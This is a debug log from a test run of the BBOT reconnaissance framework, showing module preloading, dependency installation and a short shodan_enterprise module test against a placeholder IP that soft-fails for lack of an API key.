-2026-02-27 18:49:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:49:26,345 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:49:26,346 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:49:26,347 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:49:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:49:26,348 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:49:26,349 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:49:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:49:26,350 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:49:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:49:26,351 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:49:26,352 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:49:26,353 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:49:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:49:26,354 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:49:26,355 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:49:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:49:26,356 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:49:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:49:26,357 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:49:26,358 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:49:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:49:26,359 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:49:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:49:26,360 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:49:26,361 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:49:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:49:26,362 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:49:26,363 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:49:27,709 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:49:27,710 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:49:27,710 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:49:27,851 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:49:28,420 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:49:28,421 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:49:28,641 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:49:28,643 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:49:28,760 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:49:28,760 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:49:28,815 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:49:28,819 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:49:28,820 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:49:29,480 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:49:29,481 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:50:04,695 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:50:04,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:50:04,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:50:06,697 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:50:06,699 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:50:06,704 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:50:06,705 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:50:06,705 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:50:06,705 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:50:06,710 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/etsa9uj94h56gfsiy8ah -2026-02-27 18:50:07,792 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:50:07,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:50:07,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:50:07,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:50:07,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:50:07,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:50:07,796 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:50:07,921 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:50:07,921 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:50:07,921 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:50:07,924 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:50:07,925 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:50:07,925 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:50:07,925 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:50:07,926 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:50:07,927 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:50:07,927 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:50:07,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:50:07,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:50:07,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:50:07,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:50:07,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:50:07,929 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:50:07,930 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:50:07,930 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:50:07,930 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:50:07,931 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:50:07,931 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:50:07,931 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:50:07,932 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:50:07,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:50:07,933 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:50:07,934 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:50:07,934 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:50:07,934 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:50:07,935 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:50:07,935 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:50:07,936 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:50:07,936 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:50:07,936 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:50:08,079 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_69k5bx3dcs -2026-02-27 18:50:08,080 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:50:08,191 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:50:08,192 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:50:08,192 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:50:08,194 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:50:08,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 18:50:08,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:50:08,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 18:50:08,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:50:08,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:50:08,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:50:08,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:50:08,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:50:08,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:50:08,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:50:08,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:50:08,305 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:50:08,306 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:50:08,308 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:50:08,309 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:50:08,312 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:50:08,313 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:50:08,313 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:50:08,314 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 18:50:08,314 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 18:50:08,394 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:50:08,395 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:50:08,396 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 18:50:08,396 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 18:50:08,397 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:50:08,398 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:50:08,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:50:08,400 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:50:08,400 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:50:08,402 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:50:08,502 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:50:08,502 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:50:08,521 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:50:08,521 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:50:08,522 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:50:08,533 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:50:08,533 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:50:08,534 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:50:08,535 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:50:08,536 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:50:08,536 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:50:08,651 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_69k5bx3dcs completed in 0 seconds with status FINISHED -2026-02-27 18:50:08,651 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:50:08,652 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:50:08,654 [INFO] bbot test_module_shodan_enterprise.py:11 I AM HEEER [SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set()), IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}), SCAN("{'id': 'SCAN:9a7f84c381e5d88c45fbafe4a4e6070d2a40367b', 'name': 'testshodan_ente...", module=TARGET, tags=set())] -2026-02-27 18:50:08,654 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:50:08,654 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:59:12,606 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:59:12,620 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:59:12,621 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:59:12,621 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:59:12,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:59:12,624 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:59:12,626 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:59:12,627 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:59:12,631 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:59:12,632 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:59:12,634 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:59:12,635 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:59:12,637 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:59:12,637 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:59:12,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:59:12,640 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:59:12,641 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:59:12,641 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:59:12,642 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:59:12,643 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:59:12,644 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:59:12,645 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:59:12,646 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:59:12,647 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:59:12,648 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:59:12,649 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:59:12,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:59:12,650 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:59:12,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:59:12,652 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:59:12,653 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:59:12,654 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:59:12,654 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:59:12,655 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:59:12,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:59:12,656 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:59:12,657 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:59:12,658 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:59:12,658 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:59:12,659 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:59:12,663 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:59:12,664 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:59:12,664 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:59:12,665 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:59:12,666 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:59:12,667 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:59:12,667 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:59:12,668 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:59:12,669 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:59:12,669 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:59:12,670 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:59:12,670 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:59:12,671 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:59:12,672 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:59:12,672 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:59:12,673 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:59:12,673 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:59:12,674 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:59:12,674 